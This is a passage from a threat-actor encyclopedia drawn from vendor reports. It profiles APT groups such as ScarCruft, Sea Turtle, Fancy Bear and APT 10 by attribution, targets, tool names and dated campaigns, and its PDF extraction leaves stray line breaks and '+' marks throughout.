+ve identified in the malware configurations + campaign +codes. These codes are often leveraged in the malware used by coordinated +targeted attackers to differentiate victims that were successfully compromised from +different target sets. +The implant delivered by Samurai Panda uses a typical installation process +whereby they: +1. Leverage a spear-phish with an exploit to get control of the execution flow of +the targeted application. This file +drops + an XOR-encoded payload that +unpacks itself and a configuration file. +2. Next, the implant, which can perform in several different modes, typically will +install itself as a service and then begin beaconing out to an adversarycontrolled host. +3. If that command-and-control host is online, the malicious service will download +and instantiate a backdoor that provides remote access to the attacker, who will +see the infected host +s identification information as well as the campaign code. +Observed +Sectors: Defense and Government. +Countries: Hong Kong, Japan, South Korea, UK and USA. +Tools used +Getkys, Sykipot and Wkysol. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +ScarCruft +Names +ScarCruft (Kaspersky) +Country +North Korea +Sponsor +State-sponsored +Motivation +Financial gain +Description +(Kaspersky) A few of months ago, we deployed a new set of technologies into our +products designed to identify and block zero day attacks. These technologies +already proved its effectiveness earlier this year, when they caught an Adobe Flash +zero day exploit, CVE-2016-1010. Earlier this month, we caught another zero-day +Adobe Flash Player exploit deployed in targeted attacks. +We believe these attacks are launched by an APT Group we call +ScarCruft +ScarCruft is a relatively new APT group; victims have been observed in several +countries, including Russia, Nepal, South Korea, China, India, Kuwait and +Romania. The group has several ongoing operations utilizing multiple exploits +two for Adobe Flash and one for Microsoft Internet Explorer. +Currently, the group is engaged in two major operations: Operation Daybreak and +Operation Erebus. The first of them, Operation Daybreak, appears to have been +launched by ScarCruft in March 2016 and employs a previously unknown (0-day) +Adobe Flash Player exploit, focusing on high profile victims. The other one, +Operation Erebus + employs an older exploit, for CVE-2016-4117 and leverages +watering holes. It is also possible that the group deployed another zero day exploit, +CVE-2016-0147, which was patched in April. +Observed +Countries: China, Hong Kong, India, Kuwait, Nepal, North Korea, Romania, Russia +and Vietnam. +Tools used +ROKRAT and several 0-days. +Operations +performed +2016 +Operation +Erebus +Mar 2016 +Operation +Daybreak +Target: High profile victims. +Method: Previously unknown (0-day) Adobe Flash Player exploit. It is +also possible that the group deployed another zero day exploit, CVE2016-0147, which was patched in April. + +Note: not the same operation as DarkHotel +s Operation +Daybreak +May 2019 +We recently discovered some interesting telemetry on this actor, and +decided to dig deeper into ScarCruft +s recent activity. This shows that +the actor is still very active and constantly trying to elaborate its attack +tools. Based on our telemetry, we can reassemble ScarCruft +s binary +infection procedure. It used a multi-stage binary infection to update +each module effectively and evade detection. + +Information + +Threat Group Cards: A Threat Actor Encyclopedia + +Threat Group Cards: A Threat Actor Encyclopedia +Scarlet Mimic +Names +Scarlet Mimic (Palo Alto) +Country +China +Motivation +Information theft and espionage +Description +Scarlet Mimic is a threat group that has targeted minority rights activists. This group +has not been directly linked to a government source, but the group +s motivations +appear to overlap with those of the Chinese government. While there is some +overlap between IP addresses used by Scarlet Mimic and Putter Panda, APT 2, it +has not been concluded that the groups are the same. +(Palo Alto) The attacks began over four years ago and their targeting pattern +suggests that this adversary +s primary mission is to gather information about +minority rights activists. We do not have evidence directly linking these attacks to a +government source, but the information derived from these activities supports an +assessment that a group or groups with motivations similar to the stated position of +the Chinese government in relation to these targets is involved. +The attacks we attribute to Scarlet Mimic have primarily targeted Uyghur and +Tibetan activists as well as those who are interested in their causes. Both the +Tibetan community and the Uyghurs, a Turkic Muslim minority residing primarily in +northwest China, have been targets of multiple sophisticated attacks in the past +decade. Both also have history of strained relationships with the government of the +People +s Republic of China (PRC), though we do not have evidence that links +Scarlet Mimic attacks to the PRC. +Scarlet Mimic attacks have also been identified against government organizations +in Russia and India, who are responsible for tracking activist and terrorist activities. +While we do not know the precise target of each of the Scarlet Mimic attacks, many +of them align to the patterns described above. +Observed +Tibetan and Uyghur activists as well as those who are interested in their causes. +Tools used +CallMe, FakeM, MobileOrder and Psylo. +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Sea Turtle +Names +Sea Turtle (Talos) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(Talos) Cisco Talos has discovered a new cyber threat campaign that we are calling +Sea Turtle, + which is targeting public and private entities, including national +security organizations, located primarily in the Middle East and North Africa. The +ongoing operation likely began as early as January 2017 and has continued +through the first quarter of 2019. Our investigation revealed that at least 40 different +organizations across 13 different countries were compromised during this +campaign. We assess with high confidence that this activity is being carried out by +an advanced, state-sponsored actor that seeks to obtain persistent access to +sensitive networks and systems. +The actors behind this campaign have focused on using DNS hijacking as a +mechanism for achieving their ultimate objectives. DNS hijacking occurs when the +actor can illicitly modify DNS name records to point users to actor-controlled +servers. The Department of Homeland Security (DHS) issued an alert about this +activity on Jan. 24 2019, warning that an attacker could redirect user traffic and +obtain valid encryption certificates for an organization +s domain names. +Observed +Sectors: Defense, Energy, Government and Intelligence agencies. +Countries: Albania, Armenia, Cyprus, Egypt, Iraq, Jordan, Lebanon, Libya, Sweden, +Syria, Turkey, UAE and USA. +Tools used +DNS hijacking and Drupalgeddon. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Shadow Network +Names +Shadow Network (Information Warfare Monitor) +Country +China +Motivation +Information theft and espionage +Description +(Information Warfare Monitor) Shadows in the Cloud documents a complex +ecosystem of cyber espionage that systematically compromised government, +business, academic, and other computer network systems in India, the Offices of +the Dalai Lama, the United Nations, and several other countries. The report also +contains an analysis of data which were stolen from politically sensitive targets and +recovered during the course of the investigation. These include documents from the +Offices of the Dalai Lama and agencies of the Indian national security +establishment. Data containing sensitive information on citizens of numerous thirdparty countries, as well as personal, financial, and business information, were also +exfiltrated and recovered during the course of the investigation. The report analyzes +the malware ecosystem employed by the Shadows + attackers, which leveraged +multiple redundant cloud computing systems, social networking platforms, and free +web hosting services in order to maintain persistent control while operating core +servers located in the People +s Republic of China (PRC). Although the identity and +motivation of the attackers remain unknown, the report is able to determine the +location (Chengdu, PRC) as well as some of the associations of the attackers +through circumstantial evidence. The investigation is the product of an eight month, +collaborative activity between the Information Warfare Monitor (Citizen Lab and +SecDev) and the Shadowserver Foundation. The investigation employed a fusion +methodology, combining technical interrogation techniques, data analysis, and field +research, to track and uncover the Shadow cyber espionage network. +Also see GhostNet, Snooping Dragon. +Observed +Sectors: Education, Government and others. +Countries: Afghanistan, Australia, Azerbaijan, Canada, China, France, Germany, +Greece, Hong Kong, India, Israel, Italy, Japan, Lithuania, Malaysia, Mexico, Nepal, +Netherlands, New Guinea, New Zealand, Pakistan, Philippines, Qatar, Romania, +Russia, South Korea, Sweden, Taiwan, Thailand, Tibet, UAE, UK, USA and +Vietnam. +Tools used +ShadowNet. +Counter +operations +Taken down by the Shadowserver Foundation. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Silence +Names +Silence (Kaspersky) +Country +[Unknown] +Motivation +Financial gain +Description +(Group-IB) Group-IB has exposed the attacks committed by Silence cybercriminal +group. While the gang had previously targeted Russian banks, Group-IB experts +also have discovered evidence of the group's activity in more than 25 countries +worldwide. Group-IB has published its first detailed report on tactics and tools +employed by Silence. Group-IB security analysts' hypothesis is that at least one of +the gang members appears to be a former or current employee of a cyber security +company. The confirmed damage from Silence activity is estimated at 800 000 +USD. +Silence is a group of Russian-speaking hackers, based on their commands +language, the location of infrastructure they used, and the geography of their +targets (Russia, Ukraine, Belarus, Azerbaijan, Poland, and Kazakhstan). Although +phishing emails were also sent to bank employees in Central and Western Europe, +Africa, and Asia). Furthermore, Silence used Russian words typed on an English +keyboard layout for the commands of the employed backdoor. The hackers also +used Russian-language web hosting services. +Observed +Sectors: Financial. +Countries: more than 25, including Armenia, Azerbaijan, Belarus, Kazakhstan, +Malaysia, Poland, Russia and Ukraine. +Tools used +Atmosphere and Silence. +Information + + + +Threat Group Cards: A Threat Actor Encyclopedia +Sima +Names +Sima (Amnesty International) +Country +Iran +Motivation +Information theft and espionage +Description +In February 2016, Iran-focused individuals received messages purporting to be +from Human RightsWatch's (HRW) Emergencies Director, requesting that they read +an article about Iran pressing Afghan refugees to fight in Syria. While referencing a +real report published by HRW, the links provided for the Director +s biography and +article directed the recipient to malware hosted elsewhere. These spear-phishing +attempts represent an evolution of Iranian actors based on their social engineering +tactics and narrow targeting. Although the messages still had minor grammatical +and stylistic errors that would be obvious to a native speaker, the actors +demonstrated stronger English-language proficiency than past intrusion sets and a +deeper investment in background research prior to the attempt. The actors +appropriated a real identity that would be expected to professionally interact with +the subject, then offered validation through links to their biography and social +media, the former of which itself was malware as well. The bait documents +contained a real article relevant to their interests and topic referenced, and the +message attempted to address to how it aligned with their professional research or +field of employment. The referenced documents sent were malware binaries posing +as legitimate files using the common right-to-left filenames tactic in order to conceal +the actual file extension. All of these techniques, while common pretexting +mechanisms, are a refinement compared to a tendency amongst other groups to +simply continually send different forms of generic malware or phishing, in the hopes +that one would eventually be successful. +Observed +This group targets Iranians in diaspora. +Tools used +Sima. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Slingshot +Names +Slingshot (Kaspersky) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(Kaspersky) While analysing an incident which involved a suspected keylogger, we +identified a malicious library able to interact with a virtual file system, which is +usually the sign of an advanced APT actor. This turned out to be a malicious loader +internally named +Slingshot +, part of a new, and highly sophisticated attack platform +that rivals Project Sauron and Regin in complexity. +While for most victims the infection vector for Slingshot remains unknown, we were +able to find several cases where the attackers got access to MikroTik routers and +placed a component downloaded by Winbox Loader, a management suite for +MikroTik routers. In turn, this infected the administrator of the router. +We believe this cluster of activity started in at least 2012 and was still active at the +time of this analysis (February 2018). +Observed +Countries: Afghanistan, Congo, Iraq, Jordan, Kenya, Libya, Somalia, Sudan, +Tanzania, Turkey and Yemen. +Tools used +Cahnadr, GollumApp, Slingshot and WinBox (a utility used for MikroTik router +configuration). +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Snake Wine +Names +Snake Wine (Cylance) +Country +China +Motivation +Information theft and espionage +Description +(Cylance) While investigating some of the smaller name servers that Sofacy, APT +28, Fancy Bear, Sednit routinely use to host their infrastructure, Cylance discovered +another prolonged campaign that appeared to exclusively target Japanese +companies and individuals that began around August 2016. The later registration +style was eerily close to previously registered APT28 domains, however, the +malware used in the attacks did not seem to line up at all. During the course of our +investigation, JPCERT published this analysis of one of the group +s backdoors. +Cylance tracks this threat group internally as +Snake Wine +The Snake Wine group has proven to be highly adaptable and has continued to +adopt new tactics in order to establish footholds inside victim environments. The +exclusive interest in Japanese government, education, and commerce will likely +continue into the future as the group is just starting to build and utilize their existing +current attack infrastructure. +Observed +Sectors: Commerce, Education and Government. +Countries: Japan. +Tools used +Ham Backdoor and Tofu Backdoor. +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +Snowglobe, Animal Farm +Names +Snowglobe (CSEC) +Animal Farm (Kaspersky) +Country +France +Sponsor +State-sponsored +Motivation +Information theft and espionage +Description +(GData) The revelation about the existence of yet another potentially nation-state +driven spyware occurred in March 2014 when Le Monde first published information +about top secret slides originating from 2011 and part of their content . But the +slides Le Monde published revealed only a small part of the picture + several slides +were cut out, some information was redacted. Germany +s Der Spiegel re-published +the slide set with far less deletions recently, in January 2015, and therefore gave a +deeper insight about what CSEC actually says they have tracked down. +The newly published documents reveal: the so called operation SNOWGLOBE, was +discovered in 2009 (slide 9) and consists of three different +implants +, two were +dubbed snowballs and one +more sophisticated implant, discovered in mid-2010 +tagged as snowman (slide 7). According to slide 22, +CSEC assesses, with +moderate certainty, SNOWGLOBE to be a state-sponsored CNO [Cyber Network +Operation] effort, put forth by a French intelligence agency. + The information given +dates back to 2011 and nothing else has been published since. Now that specific +Babar samples have been identified and analyzed, there might be new information, +also with regards to similarities or differences between the two Remote +Administration Tools (RATs) EvilBunny and Babar. +Observed +Sectors: Government and private sectors. +Countries: Algeria, China, Germany, Greece, Iran, Ivory Coast, Malaysia, +Netherlands, Norway, Russia, Spain, Syria, Turkey, UK and USA. +Tools used +Babar, Casper, Dino, EvilBunny, Tafacalou, Nbot and Chocopop. +Information + + +Threat Group Cards: A Threat Actor Encyclopedia +Sofacy, APT 28, Fancy Bear, Sednit +Names +Sofacy (Kaspersky) +APT 28 (Mandiant) +Fancy Bear (CrowdStrike) +Sednit (ESET) +Group 74 (Talos) +TG-4127 (SecureWorks) +Pawn Storm (Trend Micro) +Tsar Team (iSight) +Strontium (Microsoft) +Swallowtail (Symantec) +SIG40 (NSA) +Snakemackerel (iDefense) +Iron Twilight (SecureWorks) +Grizzly Steppe (US Government) together with APT 29, Cozy Bear, The Dukes +Country +Russia +Sponsor +State-sponsored, two GRU units known as Unit 26165 and Unit 74455. +Motivation +Information theft and espionage +Description +APT 28 is a threat group that has been attributed to Russia +s Main Intelligence +Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice +indictment. This group reportedly compromised the Hillary Clinton campaign, the +Democratic National Committee, and the Democratic Congressional Campaign +Committee in 2016 in an attempt to interfere with the U.S. presidential election. APT +28 has been active since at least January 2007. +(FireEye) APT28 likely seeks to collect intelligence about Georgia +s security and +political dynamics by targeting officials working for the Ministry of Internal Affairs +and the Ministry of Defense. +APT28 has demonstrated interest in Eastern European governments and security +organizations. These victims would provide the Russian government with an ability +to predict policymaker intentions and gauge its ability to influence public opinion. +APT28 appeared to target individuals affiliated with European security +organizations and global multilateral institutions. The Russian government has long +cited European security organizations like NATO and the OSCE as existential +threats, particularly during periods of increased tension in Europe. +Observed +Sectors: Chemical, Defense, Embassies, Engineering, Government, Industrial, +Intelligence organizations, Media, NGOs and Think Tanks. +Countries: Afghanistan, Armenia, Belgium, Bulgaria, Canada, Chile, China, Croatia, +Cyprus, France, Georgia, Germany, Hungary, Iran, Iraq, Japan, Jordan, +Kazakhstan, Mexico, Mongolia, Netherlands, Norway, Pakistan, Poland, South +Africa, South Korea, Tajikistan, Turkey, Uganda, UAE, UK, Ukraine, USA, +Uzbekistan, APEC, OSCE and NATO. +Tools used +ADVSTORESHELL, Cannon, certutil, CHOPSTICK, Computrace, CORESHELL, +DealersChoice, Downdelph, DownRange, Dropper, EVILTOSS, Foozer, Forfiles, +HIDEDRV, JHUHUGIT, Koadic, Komplex, LoJax, Mimikatz, OLDBAIT, PocoDown, +Responder, Sedkit, Sednit, Sedreco, Seduploader, Sofacy, SOURFACE, +USBStealer, Winexe, WinIDS, X-Agent, X-Agent for Android, X-Agent OSX, XTunnel and Zebrocy. +Threat Group Cards: A Threat Actor Encyclopedia +Operations +performed +2011-2012 +Back in 2011-2012, the group used a relatively tiny implant (known +Sofacy + or SOURFACE) as its first stage malware. The implant +shared certain similarities with the old Miniduke implants. This led us +to believe the two groups were connected, at least to begin with, +although it appears they parted ways in 2014, with the original +Miniduke group switching to the CosmicDuke implant. +2013 +At some point during 2013, the Sofacy group expanded its arsenal +and added more backdoors and tools, including CORESHELL, SPLM +(aka Xagent, aka CHOPSTICK), JHUHUGIT (which is built with code +from the Carberp sources), AZZY (aka ADVSTORESHELL, NETUI, +EVILTOSS, and spans across four to five generations) and a few +others. We +ve seen quite a few versions of these implants and they +were relatively widespread for a time. +Oct 2014 +Operation +Pawn Storm +Target: Several foreign affairs ministries from around the globe. +Method: Spear-phishing e-mails with links leading to an Adobe Flash +exploit. + +Dec 2014 +Six-month-long cyberattack on the German parliament + +Feb 2015 +U.S. military wives + death threats +Five military wives received death threats from a hacker group calling +itself +CyberCaliphate +, claiming to be an Islamic State affiliate, on +February 10, 2015. This was later discovered to have been a false +flag attack by Fancy Bear, when the victims + email addresses were +found to have been in the Fancy Bear phishing target list. + +Apr 2015 +Compromise of TV5Monde in France +A group calling itself the Cyber Caliphate, linked to so-called Islamic +State, first claimed responsibility. But an investigation now suggests +the attack was in fact carried out by a group of Russian hackers. + +Apr 2015 +Operation +Russian Doll +Method: Adobe Flash 0-day + +Aug 2015 +EFF spoof, White House and NATO attack +Method: zero-day exploit of Java, spoofing the Electronic Frontier +Foundation and launching attacks on the White House and NATO. +The hackers used a spear-phishing attack, directing emails to the +false url electronicfrontierfoundation.org. + +Sep 2015 +Bootstrapped Firefox Add-on + +Oct 2015 +Attack on Bellingcat +Threat Group Cards: A Threat Actor Encyclopedia +Eliot Higgins and other journalists associated with Bellingcat, a group +researching the shoot down of Malaysia Airlines Flight 17 over +Ukraine, were targeted by numerous spear-phishing emails. The +messages were fake Gmail security notices with Bit.ly and TinyCC +shortened URLs. + +Oct 2015 +Attack on Dutch Safety Board +The group targeted the Dutch Safety Board, the body conducting the +official investigation into the crash, before and after the release of the +board +s final report. They set up fake SFTP and VPN servers to +mimic the board +s own servers, likely for the purpose of spearphishing usernames and passwords. + +Jun 2016 +Breach of Democratic National Committee +Fancy Bear carried out spear-phishing attacks on email addresses +associated with the Democratic National Committee in the first +quarter of 2016. On March 10, phishing emails that were mainly +directed at old email addresses of 2008 Democratic campaign +staffers began to arrive. One of these accounts may have yielded up +to date contact lists. The next day, phishing attacks expanded to the +non-public email addresses of high level Democratic Party officials. +Hillaryclinton.com addresses were attacked, but required two factor +authentication for access. The attack redirected towards Gmail +accounts on March 19th. Podesta +s Gmail account was breached the +same day, with 50,000 emails stolen. +Another sophisticated hacking group attributed to the Russian +Federation, nicknamed APT 29, Cozy Bear, The Dukes appears to +be a different agency, one more interested in traditional long-term +espionage. + +Jun 2016 +Exercise Noble Partner 2016 + spear-phishing e-mail +Method: Spear-phishing e-mail +Target: USA government + +Jun 2016 +Compromise of the Bundestag website in Germany + +Aug 2016 +Spear-phishing attack members of the Bundestag and multiple +political parties such as Linken-faction leader Sahra Wagenknecht, +Junge Union and the CDU of Saarland. Authorities feared that +sensitive information could be gathered by hackers to later +manipulate the public ahead of elections such as Germany +s next +federal election which was due in September 2017. + +Aug 2016 +World Anti-Doping Agency +Threat Group Cards: A Threat Actor Encyclopedia +Method: Phishing emails sent to users of its database claiming to be +official WADA communications requesting their login details. + +Sep 2016 +Operation +Komplex + +Oct 2016 +Operation +DealersChoice + + +The global reach that coincided with this focus on NATO and the +Ukraine couldn +t be overstated. Our KSN data showed spearphishing targets geo-located across the globe into 2017. +AM, AZ, FR, DE, IQ, IT, KG, MA, CH, UA, US, VN +DealersChoice emails, like the one above, that we were able to +recover from third party sources provided additional targeting insight, +and confirmed some of the targeting within our KSN data: +TR, PL, BA, AZ, KR, LV, GE, LV, AU, SE, BE +Early 2017 +GAMEFISH backdoor +Target: Europe. +Method: They took advantage of the Syrian military conflict for +thematic content and file naming +Trump +s_Attack_on_Syria_English.docx +. Again, this deployment +was likely a part of their focus on NATO targets. +Early 2017 +LoJax: First UEFI rootkit found in the wild + +Feb 2017 +Attack on Dutch ministries +In February 2017, the General Intelligence and Security Service +(AIVD) of the Netherlands revealed that Fancy Bear and Cozy Bear +had made several attempts to hack into Dutch ministries, including +the Ministry of General Affairs, over the previous six months. Rob +Bertholee, head of the AIVD, said on EenVandaag that the hackers +were Russian and had tried to gain access to secret government +documents. + +Feb 2017 +IAAF Hack +The officials of International Association of Athletics Federations +(IAAF) stated in April 2017 that its servers had been hacked by the +Fancy Bear + group. The attack was detected by cybersecurity firm +Context Information Security which identified that an unauthorized +remote access to IAAF +s servers had taken place on February 21. +IAAF stated that the hackers had accessed the Therapeutic Use +Exemption applications, needed to use medications prohibited by +WADA. + +Threat Group Cards: A Threat Actor Encyclopedia +Apr 2017 +German elections +They targeted the German Konrad Adenauer Foundation and +Friedrich Ebert Foundation, groups that are associated with Angela +Merkel +s Christian Democratic Union and opposition Social +Democratic Party, respectively. Fancy Bear set up fake email servers +in late 2016 to send phishing emails with links to malware. + +Early to +mid 2017 +SPLM backdoor +Target: included defense related commercial and military +organizations, and telecommunications. +Targeting included TR, KZ, AM, KG, JO, UK, UZ +Method: SPLM/CHOPSTICK/Xagent +Jun 2017 +Heavy Zebrocy deployments +Targeting profiles, spear-phish filenames, and lures carry thematic +content related to visa applications and scanned images, border +control administration, and various administrative notes. Targeting +appears to be widely spread across the Middle East, Europe, and +Asia: + Business accounting practices and standards + Science and engineering centers + Industrial and hydro chemical engineering and +standards/certification + Ministry of foreign affairs + Embassies and consulates + National security and intelligence agencies + Press services + Translation services + NGO + family and social service + Ministry of energy and industry +Method: the Zebrocy chain follows a pattern: spear-phish attachment +-> compiled Autoit script (downloader) -> Zebrocy payload. In some +deployments, we observed Sofacy actively developing and deploying +a new package to a much smaller, specific subset of targets within +the broader set. +Jan 2018 +Breach of the International Olympic Committee +On January 10, 2018, the +Fancy Bears Hack Team + online persona +leaked what appeared to be stolen International Olympic Committee +(IOC) and U.S. Olympic Committee emails, dated from late 2016 to +early 2017, were leaked in apparent retaliation for the IOC +s banning +of Russian athletes from the 2018 Winter Olympics as a sanction for +Russia +s systematic doping program. The attack resembles the +earlier World Anti-Doping Agency (WADA) leaks. It is not known +whether the emails are fully authentic, because of Fancy Bear +history of salting stolen emails with disinformation. The mode of +attack was also not known, but was probably phishing. + +Feb 2018 +Attacks on Multiple Government Entities +Target: Ministries of Foreign Affairs of the USA and Romania. +Threat Group Cards: A Threat Actor Encyclopedia +Method: Spear-phishing using the subject line of Upcoming Defense +events February 2018 and a sender address claiming to be from +Jane +s 360 defense events. + +Mar 2018 +On March 12 and March 14, we observed the Sofacy group carrying +out an attack on a European government agency involving an +updated variant of DealersChoice. The updated DealersChoice +documents used a similar process to obtain a malicious Flash object +from a C2 server, but the inner mechanics of the Flash object +contained significant differences in comparison to the original +samples we analyzed. + +May 2018 +Breach of the Swedish Sports Confederation +The Swedish Sports Confederation reported Fancy Bear was +responsible for an attack on its computers, targeting records of +athletes + doping tests. + +May 2018 +VPNFilter IoT botnet6 +Jun 2018 +This third campaign is consistent with two previously reported attack +campaigns in terms of targeting: the targets were government +organizations dealing with foreign affairs. In this case however the +targets were in different geopolitical regions. + +Aug 2018 +Attacks on United States Conservative Groups +The software company Microsoft reported in August 2018 that the +group had attempted to steal data from political organizations such +as the International Republican Institute and the Hudson Institute +think tanks. The attacks were thwarted when Microsoft security staff +won control of six net domains. In its announcement Microsoft +advised that +we currently have no evidence these domains were +used in any successful attacks before the DCU transferred control of +them, nor do we have evidence to indicate the identity of the ultimate +targets of any planned attack involving these domains + +Oct 2018 +Operation +Dear Joohn +Target: The weaponized documents targeted several government +entities around the globe, including North America, Europe, and a +former USSR state. +Method: new +Cannon + Trojan + + +2018 +BREXIT-themed lure document +6 See ThaiCERT Whitepaper +VPNFilter IoT botnet seized by the FBI +Threat Group Cards: A Threat Actor Encyclopedia +Brexit-themed bait documents to deliver the Zekapab (also known as +Zebrocy) first-stage malware, sent on the same day the UK Prime +Minister Theresa May announced the initial BREXIT draft agreement +with the European Union (EU). +As the United Kingdom (UK) Prime +Minister Theresa May announced the initial BREXIT draft agreement +with the European Union (EU). + +Counter +operations +Feb 2019 +2019 Think Tank Attacks +In February 2019, Microsoft announced that it had detected spearphishing attacks from APT28, aimed at employees of the German +Marshall Fund, Aspen Institute Germany, and the German Council on +Foreign Relations. Hackers from the group purportedly sent phishing +e-mails to 104 email addresses across Europe in an attempt to gain +access to employer credentials and infect sites with malware. + +Feb 2019 +Threat Campaign Likely Targeting NATO Members, Defense and +Military Outlets +iDefense assesses with moderate confidence that the actors may be +targeting attendees and sponsors of the upcoming Underwater +Defense & Security 2019 event occurring March 5-7, 2019, in +Southampton, United Kingdom. This event draws attendees from +government, military and private sector entities across the globe. + +Information +Mueller indicts 12 Russians for DNC hacking as Trump-Putin summit looms +(2018) + +US charges Russian military officers over international hacking and +disinformation campaigns (2018) + +Justice Department Announces Actions to Disrupt Advanced Persistent Threat +28 Botnet of Infected Routers and Network Storage Devices (2018) + + + + + + + +Threat Group Cards: A Threat Actor Encyclopedia +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Sowbug +Names +Sowbug (Symantec) +Country +[Unknown] +Motivation +Information theft and espionage +Description +(Symantec) Symantec has identified a previously unknown group called Sowbug +that has been conducting highly targeted cyberattacks against organizations in +South America and Southeast Asia and appears to be heavily focused on foreign +policy institutions and diplomatic targets. Sowbug has been seen mounting classic +espionage attacks by stealing documents from the organizations it infiltrates. +Symantec saw the first evidence of Sowbug-related activity with the discovery in +March 2017 of an entirely new piece of malware called Felismus used against a +target in Southeast Asia. We have subsequently identified further victims on both +sides of the Pacific Ocean. While the Felismus tool was first identified in March of +this year, its association with Sowbug was unknown until now. Symantec has also +been able to connect earlier attack campaigns with Sowbug, demonstrating that it +has been active since at least early-2015 and may have been operating even +earlier. +To date, Sowbug appears to be focused mainly on government entities in South +America and Southeast Asia and has infiltrated organizations in Argentina, Brazil, +Ecuador, Peru, Brunei and Malaysia. The group is well resourced, capable of +infiltrating multiple targets simultaneously and will often operate outside the working +hours of targeted organizations in order to maintain a low profile. +Observed +Sectors: Government. +Countries: Argentina, Brazil, Brunei, Ecuador, Malaysia and Peru. +Tools used +Felismus and StarLoader. +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Stalker Panda +Names +Stalker Panda (Raytheon Blackbird Technologies) +Country +China +Sponsor +State-sponsored, National University of Defense and Technology +Motivation +Information theft and espionage +Description +(Raytheon) The group appears to have close ties to the Chinese National University +of Defense and Technology, which is possibly linked to the PLA. Stalker Panda has +been observed conducting targeted attacks against Japan, Taiwan, Hong Kong, +and the United States. The attacks appear to be centered on political, media, and +engineering sectors. The group appears to have been active since around 2010 +and they maintain and upgrade their tools regularly. +A fairly unique aspect of the observed Stalker Panda attacks is their use of social +media and blog sites as first stage (cutout) command and control (C2) +infrastructure. This 2-stage C2 infrastructure provides some obfuscation of the main +C2 servers and provides some flexibility in communications because the first stage +social media/blog site nodes can be reconfigured at will. +Stalker Panda seems to favor spear phishing email campaigns as their attack +vector. +Observed +Sectors: Engineering, Media and political. +Countries: Hong Kong, Japan, Taiwan and USA. +Tools used +Elirks, SharpServer, Blogspot, and the XUni platform. +Information + +Threat Group Cards: A Threat Actor Encyclopedia +Stealth Falcon, FruityArmor +Names +Stealth Falcon (Citizen Lab) +FruityArmor (Kaspersky) +Country +Motivation +Information theft and espionage +Description +(Citizen Lab) This report describes a campaign of targeted spyware attacks carried +out by a sophisticated operator, which we call Stealth Falcon. The attacks have +been conducted from 2012 until the present, against Emirati journalists, activists, +and dissidents. We discovered this campaign when an individual purporting to be +from an apparently fictitious organization called +The Right to Fight + contacted Rori +Donaghy. Donaghy, a UK-based journalist and founder of the Emirates Center for +Human Rights, received a spyware-laden email in November 2015, purporting to +offer him a position on a human rights panel. Donaghy has written critically of the +United Arab Emirates (UAE) government in the past, and had recently published a +series of articles based on leaked emails involving members of the UAE +government. +Circumstantial evidence suggests a link between Stealth Falcon and the UAE +government. We traced digital artifacts used in this campaign to links sent from an +activist +s Twitter account in December 2012, a period when it appears to have been +under government control. We also identified other bait content employed by this +threat actor. We found 31 public tweets sent by Stealth Falcon, 30 of which were +directly targeted at one of 27 victims. Of the 27 targets, 24 were obviously linked to +the UAE, based on their profile information (e.g., photos, + in account name, +location), and at least six targets appeared to be operated by people who were +arrested, sought for arrest, or convicted in absentia by the UAE government, in +relation to their Twitter activity. +Observed +Sectors: Civil society groups and Emirati journalists, activists and dissidents. +Countries: UAE and UK. +Tools used +0-day exploits. +Operations +performed +Oct 2016 +Windows zero-day exploit used in targeted attacks by FruityArmor + +Oct 2018 +Zero-day exploit (CVE-2018-8453) used in targeted attacks + +Oct 2018 +Zero-day in Windows Kernel Transaction Manager (CVE-2018-8611) + +Information + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Stolen Pencil +Names +Stolen Pencil (ASERT) +Country +North Korea +Motivation +[Uncertain] +Description +(ASERT) ASERT has learned of an APT campaign, possibly originating from +DPRK, we are calling Stolen Pencil that is targeting academic institutions since at +least May 2018. The ultimate motivation behind the attacks is unclear, but the +threat actors are adept at scavenging for credentials. Targets are sent spear +phishing e-mails that lead them to a web site displaying a lure document and are +immediately prompted to install a malicious Google Chrome extension. Once +gaining a foothold, the threat actors use off-the-shelf tools to ensure persistence, +including Remote Desktop Protocol (RDP) to maintain access. +Key Findings + A wide variety of phishing domains imply other targets, but those focused on +academia were intended to install a malicious Chrome extension. + A large number of the victims, across multiple universities, had expertise in +biomedical engineering, possibly suggesting a motivation for the attackers +targeting. + Poor OPSEC led to users finding open web browsers in Korean, English-toKorean translators open, and keyboards switched to Korean. + The threat actors use built-in Windows administration tools and commercial offthe-shelf software to +live off the land +. The threat actor at the keyboard uses +RDP to access compromised systems rather than a backdoor or Remote +Access Trojan (RAT). + Post-exploitation persistence is maintained by harvesting passwords from a +wide variety of sources such as process memory, web browsers, network +sniffing, and keyloggers. + There is no evidence of data theft, leaving the motivation behind Stolen Pencil +largely uncertain. +Observed +Sectors: Education and Think Tanks. +Tools used +Mimikatz. +Information + + +MITRE ATT&CK + +Threat Group Cards: A Threat Actor Encyclopedia +Stone Panda, APT 10, menuPass +Names +Stone Panda (CrowdStrike) +APT 10 (Mandiant) +menuPass Team (Symantec) +menuPass (Palo Alto) +Red Apollo (PwC) +CVNX (BAE Systems) +Potassium (Microsoft) +Hogfish (iDefense) +Happyyongzi (FireEye) +Country +China +Motivation +Information theft and espionage +Description +menuPass is a threat group that appears to originate from China and has been +active since approximately 2009. The group has targeted healthcare, defense, +aerospace, and government sectors, and has targeted Japanese victims since at +least 2014. In 2016 and 2017, the group targeted managed IT service providers, +manufacturing and mining companies, and a university. +Observed +Sectors: Aerospace, Defense, Government, Healthcare, MSPs and Pharmaceutical. +Countries: Australia, Brazil, Canada, Finland, France, Germany, India, Japan, +Netherlands, Norway, Philippines, South Africa, South Korea, Sweden, Switzerland, +Thailand, UAE, UK and USA. +Tools used +Anel, BUGJUICE, certutil, ChChes, Cobalt Strike, Emdivi, EvilGrab, HAYMAKER, +Impacket, Mimikatz, PlugX, Poison Ivy, PowerSploit, pwdump, QuasarRAT, +RedLeaves, SNUGRIDE, Trochilus RAT and UPPERCUT. +Operations 